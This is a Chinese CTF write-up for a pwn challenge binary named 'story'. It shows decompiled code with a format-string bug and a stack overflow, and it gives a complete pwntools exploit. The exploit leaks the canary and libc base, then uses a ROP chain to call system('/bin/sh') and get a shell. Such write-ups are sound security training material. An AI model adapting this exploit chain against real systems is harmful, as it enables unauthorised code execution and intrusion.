0x00 程序分析 1 2 3 4 5 Canary                         :  Yes  →   value:  0xf2afb7df22cc0200 NX                             :  Yes PIE                            :  No Fortify                        :  No RelRO                          :  Full 
 
格式化字符串漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 char  *sub_400915 ()  {  char  *v0;    char  s;    unsigned  __int64 v3;    v3 = __readfsqword(0x28 u);   printf ("Please Tell Your ID:" );   sub_400ABE((__int64)&s, 0x32 uLL);   v0 = strdup(&s);   printf ("Hello " , 50L L);   printf (&s);   putchar (10 );   return  v0; } 
 
程序自定义了一个输入函数sub_400ABE,功能就是向s中写入v1长度的字符串,但是s长度并没有大到1024,所以存在溢出,可以覆盖sub_4009A0这个函数的返回地址1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 char  *sub_4009A0 ()  {  __int64 v1;    char  s;    unsigned  __int64 v3;    v3 = __readfsqword(0x28 u);   puts ("Tell me the size of your story:" );   v1 = sub_400A54();   if  ( v1 < 0  )     v1 = -v1;   if  ( v1 > 128  )     v1 = 1024L L;   puts ("You can speak your story:" );   sub_400ABE((__int64)&s, v1);   return  strdup(&s); } 
0x01 思路 程序存在格式化字符串漏洞、栈溢出,存在Canary,未开启PIE
利用格式化字符串漏洞获得栈上的Canary 
利用格式化字符串漏洞打印函数地址,搜索libc的版本,获取偏移,计算得到-libc_base,计算得到system、/bin/sh、pop rdi;ret的地址 
利用栈溢出劫持程序流 
 
0x02 EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from  pwn import  *REMOTE = 0  if  REMOTE:	p = remote('ctf1.linkedbyx.com' ,10255 ) else :		p = process('./story' ) VERBOSE = 1  DEBUG = 0  if  VERBOSE:	context(log_level = 'debug' ) if  DEBUG:	gdb.attach(p) def  q () :	gdb.attach(p) 	raw_input("test" )    elf = ELF('./story' ) libc = ELF('./libc.so.6' ) pop_rdi_ret = 0x400bd3  def  pwn () :	p.recvuntil('Please Tell Your ID:' ) 	p.sendline("%11$p#%15$p#" ) 	p.recvuntil('Hello ' ) 	libc_base = int(p.recvuntil('#' ,drop = True ),16 )-libc.symbols['_IO_file_setbuf' ]-9  	log.success('libc_base: ' +hex(libc_base)) 	binsh = libc_base + libc.search('/bin/sh\x00' ).next() 	system = libc_base + libc.symbols['system' ] 	canary = int(p.recvuntil('#' ,drop = True ),16 ) 	log.success('canary: ' +hex(canary)) 	 	 	p.recvuntil('Tell me the size of your story:' ) 	p.sendline('200' ) 	p.recvuntil('You can speak your story:' ) 	payload = 'a' *136 +p64(canary)*2 +p64(pop_rdi_ret)+p64(binsh)+p64(system) 	p.sendline(payload) 	p.interactive() if  __name__ == '__main__' :	pwn() 
 
首先用格式化字符串泄露libc和canary,在用溢出修改返回地址获得shell